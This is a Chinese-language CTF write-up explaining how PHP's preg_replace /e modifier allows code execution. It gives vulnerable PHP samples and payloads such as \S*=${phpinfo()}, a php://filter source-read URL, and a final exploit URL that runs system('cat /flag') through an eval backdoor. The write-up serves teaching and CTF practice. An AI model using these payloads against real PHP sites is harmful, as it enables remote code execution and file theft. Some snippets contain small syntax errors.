例一
源碼:
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
我們可以控制第一個和第三個參數,第二個參數固定為 'strtolower("\1")' 字符串。
我們先看第二個參數中的\\1 ,\\1實際上就是 \1,而 \1 在正則表達式中有自己的含義,
反向引用
對一個正則表達式模式或部分模式 兩邊添加圓括號 將導致相關 匹配存儲到一個臨時緩沖區 中,
所捕獲的每個子匹配都按照在正則表達式模式中從左到右出現的順序存儲。
緩沖區編號從 1 開始,最多可存儲 99 個捕獲的子表達式。每個緩沖區都可以使用 '\n' 訪問,
其中 n 為一個標識特定緩沖區的一位或兩位十進制數。
\1 實際上指定的是第一個子匹配項。而這段代碼里面的第一個子匹配項就是${phpinfo()}。這樣我們就執行了phpinfo。
例二
源碼:
<?php
function complexStrtolower($regex,$value){
return preg_replace( '/(' . $regex . ')/ei' , strtolower ("\\1")' , $value);
}
foreach($_GET as $regex => $value){
echo complexStrtolower($regex,$value);
}
例二通過/?.*={${phpinfo()}}方式傳入卻無法執行。在echo輸出語句后面輸出一下$_GET數組
var_dump($_GET);
這里我們發現了.變成了_,這是因為php會將傳入的非法的參數名轉成下滑線,所以我們的正則匹配才會失效。
當非法字符為首字母時,只有點號會被替換成下划線,對payload稍微做一下修改即可,
Payload:
\S*=${phpinfo()}
補充
下面再說說我們為什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能執行 phpinfo 函數,這是一個小坑。這實際上是 PHP可變變量 的原因。在PHP中雙引號包裹的字符串中可以解析變量,而單引號則不行。 ${phpinfo()} 中的 phpinfo() 會被當做變量先執行,執行后,即變成 ${1} (phpinfo()成功執行返回true)。
看一道ctf題-----[BJDCTF2020]ZJCTF,不過如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
偽協議寫入和讀取
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解碼
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
payload:
http://782b0190-5c38-4b54-8eb7-bd142a799980.node3.buuoj.cn/next.php?\S*=${getflag()}&cmd=system('cat /flag');